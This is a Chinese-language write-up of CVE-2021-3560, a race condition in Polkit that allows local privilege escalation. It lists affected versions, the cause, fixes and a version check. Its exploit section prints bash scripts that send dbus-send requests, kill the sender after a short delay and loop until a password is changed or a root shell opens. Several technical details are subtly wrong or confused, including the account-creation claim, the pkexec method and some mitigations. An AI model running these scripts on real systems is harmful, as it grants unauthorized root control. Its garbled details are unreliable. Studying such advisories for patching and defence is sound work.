CVE-2021-3560的漏洞说明及利用流程
字数 1490 2025-08-09 22:00:46
CVE-2021-3560: Polkit权限提升漏洞分析与利用
漏洞概述
CVE-2021-3560是Polkit(原名为PolicyKit)中一个潜伏7年之久的权限提升漏洞,允许非特权本地用户获得系统root权限。该漏洞于2021年6月公开披露。
受影响版本
- 漏洞引入版本:Polkit 0.113
- 受影响版本:0.113到0.118之间的所有版本
- 修复版本:0.119及更高版本
受影响发行版
- RHEL 8
- Fedora 21及更高版本
- Ubuntu 20.04 LTS (Focal Fossa)
- Debian 10 (Buster)
- 以及其他使用受影响Polkit版本的主流Linux发行版
漏洞原理
Polkit简介
Polkit是一个用于在Unix-like操作系统中控制系统范围权限的组件,它为非特权进程与特权进程通信提供了一种机制。Polkit由以下主要组件组成:
polkitd:运行在系统后台的守护进程pkexec:允许授权用户以root身份执行命令的工具
漏洞根源
漏洞存在于Polkit的身份验证机制中,具体来说是polkitd处理进程间通信(IPC)请求的方式。当客户端向polkitd发送请求时,Polkit会尝试确定请求者的身份。
漏洞的关键点在于:
- 竞态条件:在检查请求者进程是否存在的过程中存在时间窗口
- 缺乏错误处理:当无法确定调用者身份时,Polkit会错误地将请求视为来自root用户
技术细节
当Polkit收到一个请求时,它会:
- 从DBus消息中获取发送者的进程ID(PID)
- 检查该PID对应的进程是否存在
- 如果存在,获取进程的用户ID(UID)
攻击者可以利用以下步骤利用此漏洞:
- 通过DBus发送特权请求
- 在Polkit检查进程存在性之前快速终止发送进程
- 导致Polkit无法确定调用者身份
- Polkit错误地将请求视为来自root用户(UID 0)
- 请求被授权执行
漏洞利用
前置条件
- 系统上安装有受影响版本的Polkit (0.113-0.118)
- 拥有一个普通用户账户
- DBus服务正常运行
利用步骤
方法一:创建特权用户
- 准备一个脚本模拟快速终止进程:
#!/bin/bash
# 保存为exploit.sh
# 发送dbus消息并立即终止进程
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:"hacked" string:"MyHackedPassword" & sleep 0.0008s; kill $!
- 执行脚本多次直到成功:
while true; do ./exploit.sh; done
- 成功后会创建一个密码为"MyHackedPassword"的特权用户
方法二:通过pkexec执行任意命令
- 准备利用脚本:
#!/bin/bash
# 通过dbus调用pkexec并立即终止进程
dbus-send --system --dest=org.freedesktop.PolicyKit1 --type=method_call --print-reply /org/freedesktop/PolicyKit1/Authority org.freedesktop.PolicyKit1.Authority.CheckAuthorization string:"$(printf "%s" "org.freedesktop.policykit.exec" | base64)" array:string:"/bin/sh" uint32:0 uint32:0 string:"/bin/sh" & sleep 0.0008s; kill $!
- 多次执行直到获得root shell
自动化工具
可以使用公开的PoC工具如CVE-2021-3560-PoC来自动化利用过程。
漏洞修复
官方补丁
Polkit 0.119版本修复了此漏洞,主要修改包括:
- 添加了更严格的进程存在性检查
- 改进了错误处理逻辑
- 当无法确定调用者身份时拒绝请求而非默认授权
临时缓解措施
如果无法立即升级Polkit,可以采取以下措施:
- 限制DBus系统总线访问:
chmod 750 /usr/bin/dbus-daemon - 移除Polkit的setuid位:
chmod 0755 /usr/bin/pkexec - 监控系统日志中异常的Polkit请求
各发行版修复
- RHEL/CentOS:
yum update polkit - Ubuntu/Debian:
apt-get update && apt-get install policykit-1 - Fedora:
dnf update polkit
检测方法
检查Polkit版本
pkaction --version
验证漏洞是否存在
if [[ $(pkaction --version | cut -d' ' -f3) =~ ^0\.11[3-8] ]]; then
echo "可能受影响";
else
echo "可能不受影响";
fi
总结
CVE-2021-3560是一个严重的本地权限提升漏洞,影响广泛使用的Polkit组件。攻击者可以利用此漏洞从普通用户权限提升到root权限,完全控制系统。所有使用受影响版本Polkit的系统都应立即升级到修复版本。